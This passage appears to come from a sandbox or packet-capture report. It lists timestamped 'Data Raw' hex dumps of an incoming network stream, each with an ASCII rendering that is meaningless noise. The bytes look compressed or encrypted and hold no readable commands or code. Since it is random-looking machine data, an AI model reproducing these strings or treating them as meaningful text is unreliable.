41 73 41 cd e1 b3 e9 a5 79 e4 fd 8e 5c 74 82 8a 92 41 7e ce f3 ee 4b 91 75 1b c0 ac 18 a2 4e c4 c3 3f 3a 7d bf 7d 7c b4 
f7 79 9b 3c a9 3f ef 9f 9f 9f 9d 5b 41 00 47 ba f1 52 65 7a 3c 98 91 39 ba 18 db 06 a9 d9 51 25 d2 f1 c9 1a d1 3d a8 e6 0e 
d4 40 5e cd aa 5c df 35 97 32 d5 02 7b db 7f 8c 23 3f 9c f9 ec 3f f0 75 66 57 66 c7 c3 ec b8 4d e4 0a 13 a2 b3 ed 3c 52 0c 
00 39 65 e4 25 8b 66 f7 b0 fa 2b 9a 20 b6 94 1e 
Data Ascii: Vd_aJay+onb_rx3v'\&{*&x8Y_.Ng,*mu_A#=uH'9f4{AsAy\tA~KuN?:}}|y<?[AGRez<9Q%=@^\52{#??ufWfM
<R9e%f+ 

2021-11-25 16:27:48 UTC 1045 IN Data Raw: dd bd 37 e2 e5 2d c6 34 a1 7f a1 10 bf 80 93 db a3 d9 ed e1 17 f6 5f bd cd 87 84 4b 73 bc 8f a5 97 3b 54 ba d3 
9b 4e 2d f1 07 4a df 9d 8b ba 30 84 d8 52 3f ae dd 57 3b 85 5e 5e ed 88 9f d7 ee e1 9b 7c 01 0f df e0 37 0f cf df 50 c9 2d 
fa a6 c3 3f 50 f2 0e 96 6f eb 99 bb 62 1d cc a0 0c fe b9 76 8f f6 ce 69 ee e7 63 8b fe 81 92 e3 0b aa c5 df c5 d8 45 47 c7 
e2 27 bc 3c cd 07 17 fd 8e 4d 30 ce c8 d1 b9 e8 a4 17 f6 b1 fe f9 39 16 5e bc a1 c2 db 29 2d 0d 94 bc 3e c9 c7 f8 7a 1b c7
f8 fa ed 47 b1 f2 62 ab 5e bf 55 3b f5 e6 fc af 7c 57 f0 53 6f ce c5 cf 6b f7 f8 0d 0f 03 be ee 5a 17 c7 34 88 e3 4b 06 aa 63 
9c db 31 ce ed e4 f4 32 ef 21 85 d2 93 53 f1 13 de bd 17 3d b4 b1 fc 3d 0e f8 e4 c3 a9 1a de 49 fa 0d c7 77 f2 51 d4 3a 21 
30 82 92 d3 33 b5 e5 50 74 7a 46 13 
Data Ascii: 7-4_Ks;TN-J0R?W;^^|7P-?PobvicEG'<M09^)->zGb^U;|WSokZ4Kc12!S==IwQ:!03PtzF

2021-11-25 16:27:48 UTC 1046 IN Data Raw: 59 f0 d7 cc 3e e4 a3 fa 32 38 5b 5b fb fd 8f 60 e5 cc f9 be 1e 9c e1 c8 1a 2a fe da 61 10 4c b5 8c be a8 d6 00 
7c d3 e1 94 e9 3e d4 07 64 ed a3 3d de 42 6b 31 d7 d3 29 db 72 b4 ab 7a f9 c3 83 40 77 79 56 5b 18 c8 5f 18 89 c2 44 7b 
4e f1 a3 fa 87 b6 0b 43 d3 c7 b5 6f 01 e2 80 99 0c 68 a7 54 2b 42 ca 87 0f 0f 40 cc c0 5f 6a 05 df 1e ac f2 19 6d e6 1d 1c 
aa 26 cd 40 9d 3b f8 26 6c cc b7 7e e1 bb 70 32 27 a2 25 ec 66 83 8c 2b bb 02 38 c4 0d b8 58 de dd dd e3 dd ed 6f 2d ef 
8e 7f eb 88 61 22 4d be fd 34 a0 93 7b d0 1f 85 33 fb bb f3 74 b2 60 6b 16 03 a4 f9 cc bb 2b 04 16 bc 08 52 2e 08 74 9c af 
9d 89 57 32 63 8d 9c 47 52 d5 d5 81 fb e3 9e 0e 64 4f d2 2d a5 b5 91 a2 a7 a5 89 76 f0 3e 08 4b 2a 55 4e d2 9b 9b b5 c2 
f2 7d 18 4b e2 ea 5a 20 9b 0f 33 c0 4b 1f 51 af 
Data Ascii: Y>28[[`*aL|>d=Bk1)rz@wyV[_D{NCohT+B@_jm&@;&l~p2'%f+8Xo-a"M4{3t`k+R.tW2cGRdO-v>K*UN}KZ 3KQ

2021-11-25 16:27:48 UTC 1047 IN Data Raw: fb 8f c8 bc 6c be ff 53 e5 2c f6 57 37 de 0b f6 27 8f 90 ca 93 8c ca f9 1f 61 38 8a 55 7f 35 28 af 96 66 ee 65 76 
00 92 e6 5b 16 b4 1d e1 8e 93 0e 84 28 5e d4 e9 23 c9 e5 1b c8 51 c5 cb 8c ec f1 2f 74 71 72 42 66 ef 81 81 a0 0b c6 73 
b0 42 aa fc 65 c5 45 6f af 7f 59 4e 19 de 16 27 a8 cf 0e 5c 6e f0 4f a1 d4 6a 68 7a 2c a5 a6 52 5a 25 a5 37 e2 2f 15 ab 2c 
79 4b a1 f4 61 3d 23 dc 4f 9a 25 2e a5 db b6 60 36 0e 46 f5 ae 0d 0c 43 83 bf e1 a5 06 ea 82 ce 86 d5 b3 e1 55 e3 1a 56 
7f b9 61 a4 70 b3 fe 97 14 4c 4b e4 28 58 a2 e0 40 93 33 b8 e8 f5 80 03 e8 92 6b 47 88 3e 84 e4 e2 d1 6e 5b 42 dc c4 62 
c5 62 4e c1 83 2e a6 76 23 5f 03 f2 5b 59 ec d5 d3 75 a0 4f 01 7a c6 c4 e8 a5 4b ae 07 28 8e f8 ac c3 e4 ee 4c db 46 6b 
85 1a f7 3f 6f f2 ce fa 7f ad c9 20 f2 18 4d 7e 
Data Ascii: lS,W7'a8U5(fev[(^#Q/tqrBfsBeEoYN'\nOjhz,RZ%7/,yKa=#O%.`6FCUVapLK(X@3kG>n[BbbN.v#_[YuOzK(LFk?
o M~
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2021-11-25 16:27:48 UTC 1049 IN Data Raw: ac 2d ac 9a 94 44 28 79 91 50 4a e8 e5 80 f0 0d 91 47 06 3a 25 0b 15 2c 25 28 c6 8a c9 0a 67 ee 30 7f 3d a0 
21 48 23 11 03 8d 44 50 38 39 2a 75 84 93 ad a5 d0 bb 31 47 00 10 6b 04 59 4c ad a5 d8 5b 80 81 4d 16 53 32 fb b1 5a 
25 2b 2b 22 1c b0 e4 f1 75 ec 77 b5 81 4c 0e 0e ac 7c d0 a1 11 da 91 4e 04 c9 10 61 0f a3 ab ba 66 e9 1a a0 95 cb 22 38 
70 a8 5d 63 f4 47 f3 3a ed e2 a2 d7 3b fe a0 75 9c 0f 50 e8 fa 43 a5 4f c7 85 e2 d0 fb c8 9b 3b e9 01 a1 8d 12 f3 80 c4 70 
7a 11 94 90 39 2e 29 e6 46 1d 79 c9 41 5b 17 c3 d2 e4 61 11 c7 66 b5 29 87 a5 fe 9a 61 41 6c 74 6d 58 fe 0f 28 8c 07 f2 
a9 20 11 6f 5c eb 8f 12 0e 13 71 57 72 98 e2 99 3b 7e d5 da e8 ff 66 6d 2c a4 17 47 84 63 51 cc 59 23 af 59 22 4c 47 d4 
fa 70 78 c0 d2 6b a4 a2 b6 c4 eb 16 ca bc 11 49 2d 1c 93 
Data Ascii: -D(yPJG:%,%(g0=!H#DP89*u1GkYL[MS2Z%++"uwL|Naf"8p]cG:;uPCO;pz9.)FyA[af)aAltmX( o\qWr;~fm,
GcQY#Y"LGpxkI-

2021-11-25 16:27:48 UTC 1050 IN Data Raw: 40 17 38 1c 28 e2 f3 b8 a4 92 c7 f1 6d c7 c0 f2 94 61 e2 b4 d0 b4 20 6b 8e e2 a4 35 fa 19 e8 e8 b7 5f e5 52 b1 
e8 9e 1e c0 47 c9 3d fd 5c 5e 83 5f df 7f c1 47 c9 55 29 d0 d7 8a 6b ee d6 0e 7c ac bb a7 f8 b1 e1 6e ed c1 c7 a6 db de 
85 8f b7 6e 07 2f be 73 db 3b e5 75 28 dd c2 8f 92 fb 6d 0b 3e d6 dc e3 7d f8 58 77 3f e3 c5 0d b7 fb 19 3e 36 dd 9f 07 f0 
f1 ce 9d ee c2 c7 7b 77 78 5f de 80 72 17 87 f0 51 72 83 07 f8 58 73 bf 6e c1 c7 ba 7b 72 7a 71 b3 7b 7a 79 b2 0d bf 36 dc 
1f f8 b1 e9 6e ef c0 c7 5b 
Data Ascii: @8(ma k5_RG=\^_GU)k|nn/s;u(m>}Xw?>6{wx_rQrXsn{rzq{zy6n[

2021-11-25 16:27:48 UTC 1050 IN Data Raw: f7 78 17 3e de b9 8f 7b f0 f1 de fd fc 0b 3e 3e b8 d3 4f e5 8d 12 74 a1 06 1f 25 77 17 1e 29 ad b9 63 78 a4 b4 
ee fe c2 8f 0d 37 f8 0c 1f 9b ee 14 7f bd 75 a7 f0 a2 d2 3b f7 27 bc 7d 6d cd ad c3 1b d6 e0 49 b8 b8 b6 e1 ee 41 f1 b5 f7 
6e 0d ef 7d 70 27 50 60 bd e4 9e dd 97 37 a1 b9 fb 3b f0 51 72 4f a6 f0 b1 e6 fe dc 87 8f 75 f7 ee 13 7c 6c b8 61 0d 3e 36 
dd 01 7e bc 73 07 f0 24 b4 e5 eb 6e b9 b4 b6 b6 2e a2 d9 d3 87 8e 01 af 46 db 57 84 53 8b d4 c1 c3 d1 e0 02 11 e5 78 11 
e3 8e f4 e4 75 05 a2 76 df eb 0e 62 c5 02 d2 3d 4f 2a c5 03 07 eb e4 8b 88 0e 76 34 22 ec 36 0a 16 1c a5 d5 f5 c7 23 ca 
60 e8 d3 7b a4 37 d9 52 b1 22 c9 18 6f d4 24 c6 b6 7a c2 05 e4 0b 9c ea 52 b1 bc b4 04 bf 19 2e 80 88 4b a1 8e 49 ce 74 
a6 4f 66 af e2 c2 a8 8a a3 78 f5 bf d2 63 c3 a0 
Data Ascii: x>{>>Ot%w)cx7u;'}mIAn}p'P`7;QrOu|la>6~s$n.FWSxuvb=O*v4"6#`{7R"o$zR.KItOfxc

2021-11-25 16:27:48 UTC 1051 IN Data Raw: 27 a6 d2 50 ba 8c 4e 50 c6 1a 64 f8 44 2a 5f c7 64 8c 64 1a a7 2b 1f 0d ac d0 05 89 80 2e de 0b 1d 09 aa b6 0f
d7 af 02 e0 97 7f 04 36 b9 11 14 3d 2f 09 69 b2 39 a9 f9 a2 aa 49 86 3f ac 22 50 3a c9 02 c2 c8 32 ce 3d 64 59 e5 c2 2d 
0d 39 61 67 ba 99 91 f7 13 e1 8d 30 57 34 3a 13 11 be d8 d8 e6 86 f0 e5 4c 6b c4 d3 3e b5 43 53 3c e6 0d e3 56 db cc 2a 
e1 93 23 a9 3e 8c ca 95 a0 a2 12 59 8b f1 14 de 75 21 46 b7 68 ae a5 62 30 28 ad 37 da 8d 22 e5 21 0b 2b 66 65 25 80 
6d 61 63 36 5f 54 53 e9 a3 17 8a d0 69 68 f5 2c 99 7a 9a aa 71 ee c2 f5 69 00 02 ad b1 38 93 ab 25 c2 f0 09 78 55 f2 a3 
c6 9c fa 30 9f 02 62 7a c1 18 11 10 e1 24 eb 9a 3b 5b c9 59 89 e9 ea aa fa 28 95 c9 9f 56 3d 10 c8 41 ff 15 ca 04 ad 3a c4 
a0 1c 2b 4c 6c d0 f8 28 5d cb 2b 2b 2b 3c a6 36 70 26 
Data Ascii: 'PNPdD*_dd+.6=/i9I?"P:2=dY-9ag0W4:Lk>CS<V*#>Yu!Fhb0(7"!+fe%mac6_TSih,zqi8%xU0bz$;[Y(V=A:
+Ll(]+++<6p&

2021-11-25 16:27:48 UTC 1053 IN Data Raw: fd 4c c9 85 bb c2 49 d6 a8 ef 0a 65 ef 6e 92 1b 92 b0 16 c2 0a e6 d7 de 75 64 28 3d f2 93 a2 df 15 49 3b b1 1f 
70 9c 51 5c 60 56 45 e6 b0 d9 eb 92 60 db 13 da ac af 8d 4b c7 cf ea 83 43 1d 0b c1 af c8 5a 22 ac e5 38 a4 94 73 33 49 
39 03 8d 25 08 8c ed 52 af d4 71 bb 30 ff 4c e9 bc 50 9d 01 bc 6a e1 1e e4 09 dc 2d 3e 90 f4 78 c6 37 c3 ec 1d ed 4a 49 
5c 51 2f cc e1 3f 92 97 b8 d9 82 8a b8 c2 f4 05 06 20 2e 2c 89 ed 00 ae 65 96 1c 1c 6b 8e b9 b6 60 fe 98 02 e7 cd b6 66 
07 3b 26 ae 5f d9 b6 e0 11 68 07 2f 01 72 c9 ca 67 b7 d4 76 31 8a 13 1f 24 39 35 63 55 43 03 b3 ba a8 63 a1 b7 3c 4e f4 
0b 68 ba 34 0b de d7 33 91 a9 42 c3 74 0c 47 9f 6a 37 8b a3 7e 72 3e 50 d0 ac 38 02 35 67 f8 a5 a2 fb 7b b1 b6 6e 1e 82 
da f1 18 24 b1 0e ea 7c 43 5f 39 3c df ea 74 bc d5 e9 
Data Ascii: LIenud(=I;pQ\`VE`KCZ"8s3I9%Rq0LPj->x7JI\Q/? .,ek`f;&_h/rgv1$95cUCc<Nh43BtGj7~r>P85g{n$|C_9<t

2021-11-25 16:27:48 UTC 1054 IN Data Raw: ff 49 a3 ae dd a0 57 7e 92 e1 09 98 d3 e6 3f 6c 62 41 54 8d 9e 9f d8 5c a3 b5 98 c6 6a ae db 54 25 db 74 8e 
1b 9a d3 f6 32 d6 66 e9 63 ca 39 03 9f c4 03 e5 c0 d5 fa f5 fa ce 44 18 2f 9e a4 76 e9 0e 17 cf 69 a1 48 2f cf c5 49 6b d8 
5c 3c d8 c6 5c b3 18 e2 a0 87 a8 a4 66 87 33 f5 a5 7a 9c 80 5a 53 90 f9 d3 0c c4 b0 ae bd 37 46 ed d9 00 8d 34 18 df d4 
25 fa 52 01 d9 2b ea 75 11 83 4e 5e 72 40 08 14 58 0f 28 33 a3 f9 1a dd 0b 58 81 cf e7 11 54 85 84 b2 8e 98 0d 11 39 84 
e6 0d ed e5 ab 97 6a 6a 58 23 97 bb 75 ec 0f ee ca e1 df 18 d8 e4 6c 6d 48 52 72 30 f6 26 05 22 6f 14 7a 4a d7 0e 0d 96 
68 56 39 9c 23 1c 1d 8d b3 cc 0c 7b bf 35 d8 b7 0d 46 f6 33 ea 56 05 88 2d 0a bc c1 55 e9 9a d0 81 e9 31 2f d0 bd 25 b0 
82 e3 b1 7b 92 7a fd 27 fb 64 ec 1e 8e f9 60 3b cd d3 
Data Ascii: IW~?lbAT\jT%t2fc9D/viH/Ik\<\f3zZS7F4%R+uN^r@X(3XT9jjX#ulmHRr0&"ozJhV9#{5F3V-U1/%{z'd`;

2021-11-25 16:27:48 UTC 1055 IN Data Raw: 6b a9 bc 44 05 e1 f7 1f 62 5f 67 e6 3e c8 9e d1 89 92 3c 49 2e f2 aa 46 a9 d7 e0 e1 41 7c 4f 5a 47 9e 1a b3 51 
f6 e5 35 0c 98 b6 c5 c1 f3 fc cc 3b 4f 7c b6 ab fe 84 eb e1 0d 3f 65 33 80 51 e5 d4 a8 52 3e 2f d4 9b fe 24 9b 0a bd 99 cf 
d0 d7 c8 55 c7 2f 7c 05 81 65 79 79 c3 f3 82 09 49 32 08 7b 59 38 c4 17 07 ac ad b9 44 3f 03 eb a8 07 9d 94 b4 84 89 c0 
62 04 53 41 40 31 28 b3 b6 1a dd 5e 1f d9 60 dd 01 70 3f a9 d9 01 da e5 e3 31 5e 54 fa 7b 7a 04 e6 30 7d e6 c3 74 aa 52 
4f 46 2b c4 e9 b2 98 2c 04 a7 22 b6 08 f9 87 60 91 aa 9d bb aa 49 25 38 c0 c4 e9 98 e5 b5 e3 bd a5 14 af 11 96 58 b1 16 
af 30 15 2c f6 7a c5 ba b6 5c da 41 ce ac 8e 31 96 ed c7 27 de 4a b3 19 cc 7e 9e bb 0c 9c 7f df 69 cb 49 6f 9c 06 b9 e1 7c 
45 50 b6 03 76 b0 20 74 55 f1 e5 2b 7f 09 d0 db 
Data Ascii: kDb_g><I.FA|OZGQ5;O|?e3QR>/$U/|eyyI2{Y8D?bSA@1(^`p?1^T{z0}tROF+,"`I%8X0,z\A1'J~iIo|EPv tU+

2021-11-25 16:27:48 UTC 1056 IN Data Raw: ad 2e bc ad 5e 48 5f 72 05 a7 8e f7 e4 57 b4 57 a9 3d 71 cb 8a 99 d8 6d a4 bb dd 74 74 e3 47 66 c2 3a ee 03 
e9 0c 48 dd d7 44 24 b5 27 c2 4f 3b 88 ca 84 ab c6 40 64 65 b4 d9 b9 62 31 94 3b 2e c3 8f 95 1f dc 43 60 b6 be ec 9c 6c 
1f 9c ec dd 6c 7d f9 72 76 fa 75 eb 88 32 c2 08 70 1f 9a c3 94 37 51 93 04 9e 8e 47 f5 3f 78 02 02 6d a2 c3 a9 55 1e 0a 
ad c1 27 04 13 45 8c 18 60 e2 f7 10 5e bd e3 be 43 cc b4 ed 96 fd 20 90 dc c8 d8 29 56 ca 7d 9a c6 89 6e b7 27 a8 06 c9 
81 79 4c 21 da e1 b6 bf a9 9d ed 6c ef 9c 5c 1c 6c 1d 9d 5b ee 93 4e b5 c3 99 e3 2e 04 8c 6b 27 9c 6f e7 10 80 66 a2 0f 
4f 36 f5 cc ed 67 57 b2 e6 ab 9b 3b 39 f5 04 d7 4f f2 7f 4c 4e 24 17 88 58 9a 56 d9 c4 36 36 2c 01 06 3e 3c 8a 76 dd b8 9d 
c0 c4 39 15 16 84 18 2e ce cc 89 c6 f4 6a b1 e9 23 53 
Data Ascii: .^H_rWW=qmttGf:HD$'O;@deb1;.C`ll}rvu2p7QG?xmU'E`^C )V}n'yL!l\l[N.k'ofO6gW;9OLN$XV66,><v9.j#S

2021-11-25 16:27:48 UTC 1058 IN Data Raw: 72 02 a5 5e 3d 8a de 02 29 ad 55 b6 f6 f9 1c dd bc 3b 09 ba b6 35 12 d2 20 7b d4 b8 29 6e 8b 5b 8b ec 16 66 
aa c2 b1 60 56 88 35 ff 03 0e 23 43 c0 6e 31 22 6e 24 82 02 eb 42 49 96 98 f8 66 ee ee 1c 7d 19 0e 4c b2 39 b2 04 d8 79 
52 e0 74 af 1c a1 99 c1 8d 8b 3e 25 81 40 c9 cb e4 aa 20 ef 54 9e 71 cb 0d 95 18 bc 3f 61 84 99 03 83 7d 3c bc d7 68 d8 
a6 9b d7 22 03 5f c1 ca 3e 72 de ea de 6d b7 06 21 82 cd 3e 4a 71 d9 d5 16 7e af 2b f4 61 ce 6f f6 b1 f9 26 22 a7 07 13 f7 
f0 de a9 1c e8 f4 ab d7 ca 58 96 97 97 cd 3d e5 09 bc 5b b8 de 23 ef 5d 3d da 35 22 67 ce c4 aa 67 dc a0 3f 92 18 24 81 
0c b6 7e b7 e2 4b c4 42 04 a3 69 45 24 c9 3b 3a a9 4b ec 61 61 dc 1a c3 4c 69 3b 50 5f 75 b8 e8 d0 98 67 5b 2b c1 8a e5 
58 e8 26 3b 53 ec 3e 47 4f 18 f3 c5 26 86 fd 09 9c a4 
Data Ascii: r^=)U;5 {)n[f`V5#Cn1"n$BIf}L9yRt>%@ Tq?a}<h"_>rm!>Jq~+ao&"X=[#]=5"gg?$~KBiE$;:KaaLi;P_ug
[+X&;S>GO&

2021-11-25 16:27:48 UTC 1059 IN Data Raw: fd 9e 5f b2 43 25 3b 5c 72 ac 15 e9 cc dc 1f f9 45 8e a9 08 43 03 ee 8f f9 65 50 7d ea 95 c7 33 f7 67 ce ca 90 
95 ec 49 16 f3 07 16 54 c3 b5 4f 75 ef 73 be d4 89 fd 4d d4 ba 00 05 e8 5a 67 82 60 aa 85 7d e4 5c d5 ab f6 66 95 43 df be
98 88 6d 3e cd 83 b7 50 0a a2 8e 14 60 6a c2 db 51 a0 1a 0a b7 d6 9a c4 c0 68 78 7f a0 91 bf 25 13 e4 35 8d c7 db 14 37 
34 15 74 29 90 5f a4 5f 78 dc 8d 64 4e 58 79 e4 e7 ba 18 60 fc 49 38 7d 09 f3 4a 33 60 eb 87 45 cb cf ea b5 d1 41 3f 71 
4d ce cf 7e f8 05 03 19 ba 43 06 6b f1 db e4 07 bf 48 2f e5 e0 92 40 22 fa 24 13 09 2c d8 2c db 4c 13 2d 2b 6d 66 a7 e1 f9 
5d 7b 03 89 76 e5 e3 e8 cf 69 6f 1c 63 7a ae 6e 37 a6 62 e4 62 23 9b 1d c4 71 77 11 ab b8 a7 b6 cf 54 98 ce d4 a4 db 14 
71 21 a6 c3 cb 0c 18 b1 d7 b9 19 41 b3 0e 21 48 
Data Ascii: _C%;\rECeP}3gITOusMZg`}\fCm>P`jQhx%574t)__xdNXy`I8}J3`EA?qM~CkH/@"$,,L-+mf]{vioczn7bb#qw
Tq!A!H

Timestamp
kBytes
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2021-11-25 16:27:48 UTC 1060 IN Data Raw: 8c 40 7c d0 91 6a 1e 1f 08 66 20 48 b4 d5 55 f4 f9 87 67 df 72 ac 41 d9 ce c4 85 f5 ba 2c 04 2e 4a 8f 6d 37 c8 
00 52 56 83 b2 90 22 76 a4 75 c9 ef f2 ad 45 26 56 8b 8d de 90 5c db 09 27 8c 73 43 23 43 bd bc 2c 1a 10 cf 0d 39 08 85 
1a 1f 69 86 c8 06 d2 76 e8 2f 9e ef 52 4b 97 44 31 39 55 94 75 13 fd 1d 19 44 30 46 bc e8 94 03 e4 05 83 e5 65 54 e8 49 
9b cc cc bd cb 1b 3a 5e 5e 88 93 2e 57 c0 61 4b 8a 9e 46 78 2e f2 e0 75 ac 57 99 a0 1a e9 a8 80 0b 0a b0 d0 45 37 8e 
38 a9 cb 2c 1d 78 10 d2 c9 09 bf 1f 27 14 a8 2c d0 56 61 54 6a 2d 9b d2 3b b1 56 b2 d7 3d c0 98 2b bb e9 cc 2e d0 30 30 
43 3d 26 b0 4c 0b 44 e6 3a f0 fa 0e cc 6b 5b c4 da 51 84 9d f7 d7 bd 1d a3 6d 8a f9 59 4a 33 15 08 4f 7b 8e 58 ea 20 01 
ef e0 ef 3d b6 5e f1 8f ed e4 26 31 fe fb da 6f 5c ad bb 
Data Ascii: @|jf HUgrA,.Jm7RV"vuE&V\'sC#C,9iv/RKD19UuD0FeTI:^^.WaKFx.uWE78,x',VaTj-;V=+.00C=&LD:k[Qm
YJ3O{X =^&1o\

2021-11-25 16:27:48 UTC 1062 IN Data Raw: 85 33 bd be 46 7e 7d 03 24 b4 cf cf 43 a2 d4 81 47 2c 30 07 ac f6 50 25 b8 84 9f 8d e5 e5 50 c7 3d 7a 79 59 
82 70 20 73 14 96 58 af 28 ea b0 23 e2 9f 89 49 65 49 7c 49 38 29 46 71 08 c4 d2 47 cc dd 6f 71 20 b0 65 1c 9f 5c c2 e0 
29 b4 7b a0 99 82 a0 d4 50 87 8c 9a 9e d3 a1 52 f5 c0 45 a1 f9 d3 2e 1e 0f c9 80 0c c3 ac 92 53 c7 d5 a5 12 c2 67 d8 30 
27 44 aa 4c ee 69 01 d9 08 bf 1f 36 53 0a 93 34 da bd a9 72 7c d9 ea 0a b2 36 19 71 bc ad 81 4c 49 14 e0 56 ca f8 c0 dd 
a3 42 fb 2a ba d6 b3 f5 25 d1 62 09 53 8b 90 36 fd 5e bb ad c7 74 a8 6d f8 9d 92 56 dd 15 04 b3 9e ab f8 c9 75 ee 21 46 
f9 8b 60 f1 2d 7c 2c d7 89 47 02 eb 90 48 b0 c3 aa 64 0e 09 b9 75 d3 e1 86 42 31 cc b7 6b e8 ed 73 97 eb e2 d3 d2 5c 7c 
60 26 f5 aa 13 c8 50 f3 3a 52 8e 39 af 93 45 6a de dc 47 
Data Ascii: 3F~}$CG,0P%P=zyYp sX(#IeI|I8)FqGoq e\){PRE.Sg0'DLi6S4r|6qLIVB*%bS6^tmVu!F`-|,GHduB1ks\|`
&P:R9EjG

2021-11-25 16:27:48 UTC 1063 IN Data Raw: 11 4c a7 5c 0f 91 5c 0f 4f 8d 26 6c ba 46 73 a6 dd 76 10 98 55 20 0e c0 2d c2 72 75 19 cb d5 ec 6c 9c f5 96 a8 
1b a1 12 40 73 62 a8 81 92 2c e0 61 6d 2c 17 bc 61 3a 02 9f 23 c9 42 0d 8d 92 4d 6e 45 72 86 9d b4 a1 31 0d 75 d7 90 
d4 fd d6 13 9c 40 ff 3e 8f 13 20 48 09 ab 25 38 b7 1b 31 45 22 6b cc 5c 36 81 53 fc 99 dc 0d bf 15 c1 38 77 f5 d9 ca cd aa 
ad d2 8d 30 28 29 31 cb be fb 2d 2c 07 2e 27 2a 2f 87 d2 e1 6f 2f db 53 16 f9 51 3d 50 6f 61 00 02 48 e1 39 73 90 ed 14 
22 a3 32 5b 18 17 be 85 c0 e2 e1 17 91 21 dd 43 15 06 ca f5 11 d2 ab 06 a1 ff 86 b1 1d b9 25 d4 ff a4 87 8e de 9d e7 91 
c1 e3 29 42 79 97 97 33 f6 86 79 c1 ef 21 34 88 4f fc 50 b4 08 f9 93 24 d0 7a ce 74 37 32 70 a5 b7 2a 62 36 eb 8d 8c dc 
46 a8 72 2c 65 86 47 24 77 90 d1 ae fb e9 33 37 df ce 
Data Ascii: L\\O&lFsvU -rul@sb,am,a:#BMnEr1u@> H%81E"k\6S8w0()1-,.'*/o/SQ=PoaH9s"2[!C%)By3y!4OP$zt72
p*b6Fr,eG$w37

2021-11-25 16:27:48 UTC 1064 IN Data Raw: 70 d2 19 2c ea 9e ff 0c 28 42 ce f8 d2 c1 09 51 3a d0 e9 a3 2c 5c 52 29 05 81 68 52 45 e5 bf 44 d3 f2 83 77 3e 
25 6a 5c c7 e5 50 fc 58 af d6 cb 6f 77 36 80 e1 ed e8 7d 16 5d 6d 40 47 1f b4 9c c5 67 aa 3b f5 f4 69 d1 57 bb aa af 2d 44 
b8 da 4c 3b df d3 6b 94 b3 13 10 c9 be 74 16 ee 57 04 56 e7 6f 5c 9a 0c d4 2f ec 6b c3 f4 ae 62 67 85 7f 36 d2 c8 63 4b 
c7 5e af 91 df 12 d1 00 1a c9 fc d1 91 43 bb be b3 f1 82 77 d8 1c e8 32 58 3f f5 0a 77 eb 32 bd 7e fe f3 5e c5 5e 8c ad 8b 
ab 31 b6 8e 3a a9 5a 47 8d aa 43 93 ce 51 5d 8e 2a c0 4c d7 62 9e a1 17 7c b8 59 18 d7 26 24 d1 30 04 d5 af ca 85 64 
9e fe 29 48 c3 e4 a3 35 22 ed 1b 9b f6 d8 9e e7 9f ed 0b 47 d9 df 86 11 f9 84 20 5f 92 26 33 61 bc 90 b9 35 6b 08 dc a6 
52 db de 66 39 15 11 de 9f ff 16 ea 81 53 f9 a6 ba 
Data Ascii: p,(BQ:,\R)hREDw>%j\PXow6}]m@Gg;iW-DL;ktWVo\/kbg6cK^Cw2X?w2~^^1:ZGCQ]*Lb|Y&$0d)H5"G _&3a5
kRf9S

2021-11-25 16:27:48 UTC 1065 IN Data Raw: f0 9a 80 45 ca 7d 78 dc 87 3b 14 b6 c3 d3 9b b5 87 98 8b 41 39 cc f4 6c 53 45 c1 0e 1a 4b e8 af b3 9f 26 96 ae 
a6 5f 0e 30 f8 35 d4 a2 bf 95 84 97 8d f2 1f 51 22 63 61 67 e1 6c 0e 15 6c 8e 22 bb 75 d5 20 38 f3 a9 2b 75 27 a5 11 de f5 
ea 5a 20 7f a3 f0 0d 31 e1 42 1d dd 03 88 73 ac 35 89 1a 9b 54 d2 24 91 bf a9 13 a6 93 d6 f2 f2 3a 26 75 ed c7 fe a0 d7 
15 b1 a8 42 3d f3 5e 2a f6 9a 15 4e ee 75 6b 4c c2 42 8e 36 55 0e 3f 01 69 c8 c6 36 ab b2 4b 4d 13 61 04 bb d4 54 f8 22 
85 7b 9f c0 ba 52 7d e0 fa 67 7a 18 a5 94 3b 42 16 e3 45 72 7a 35 d8 a4 96 bf c8 1e 73 d2 db 6b 4f c5 5b 05 88 78 54 fc 
e8 45 e8 95 b9 84 a8 b8 7b d2 87 b7 bc 04 97 e8 90 d9 d3 5d b8 58 a1 0f 67 e3 dc f5 98 96 34 74 bf 45 b5 7f 81 c4 26 e2 
46 56 7d 3d 2f a4 4b ef 85 1e 97 22 62 75 2c 52 7d 
Data Ascii: E}x;A9lSEK&_05Q"cagll"u 8+u'Z 1Bs5T$:&uB=^*NukLB6U?i6KMaT"{R}gz;BErz5skO[xTE{]Xg4tE&FV}=
/K"bu,R}

2021-11-25 16:27:48 UTC 1067 IN Data Raw: ba 42 7e 8a 16 82 79 f6 52 9d ba 91 6f ea a8 f2 60 22 cf 5e 05 31 b6 90 0c 28 f6 a0 fb aa b5 b9 09 23 f5 89 96 
21 aa da 5b 5b 82 0a 5b 19 62 30 db 99 4e 27 53 df 40 9c fd 32 15 04 8a 89 bf 5d 0b 03 3f b6 41 ae 17 1e 5d 9e 54 1c 5a 
29 fb 5a bb 01 5e 2e d1 45 88 32 ec 6e 6e 92 c9 b7 6b f0 88 d3 09 8f 91 63 3a b5 6b fb a6 ea 00 49 4f 19 67 e8 5a d3 f3 
c1 c8 9d 2c e6 29 27 73 66 a5 11 33 21 04 0a 4b 10 58 b6 a5 95 e9 03 38 fc 4b 2c 08 83 80 9f e9 2a ee 74 58 ed 4e a6 29 
22 33 a6 83 d5 1b 0b e2 d0 1d f7 e6 d0 0a f4 b1 51 a5 08 b8 26 ae 98 f5 07 dd 79 2a 0d b2 e5 5e 67 6f 50 0f fe 68 37 20 
4e ee b5 7e 53 05 dc bb 00 55 ff dc ab 74 d3 f3 e9 0b 69 d7 37 bb d4 26 b9 3f 7f 5a 60 93 60 42 a8 22 7c 30 4d 8a 57 1d 
b7 81 52 df c4 c6 dc e2 33 90 ea a7 d3 08 9b 0f db 04 
Data Ascii: B~yRo`"^1(#![[[b0N'S@2]?A]TZ)Z^.E2nnkc:kIOgZ,)'sf3!KX8K,*tXN)"3Q&y*^goPh7 N~SUti7&?Z``B"|0MWR3

2021-11-25 16:27:48 UTC 1068 IN Data Raw: 0a 78 77 7e 51 7e bc 0b 48 2b 15 78 dc 68 e1 b7 6e e0 0a 02 8f 26 f7 9b 9b 07 23 cc 32 9f eb 4e 9b 92 7a 88 
26 06 1d 34 af 81 b3 44 c2 d3 3e f5 c4 53 98 62 df e0 53 17 96 7a 79 fc 45 2d 60 d1 20 44 fe 83 2d 06 cc a6 59 b0 3c c8 
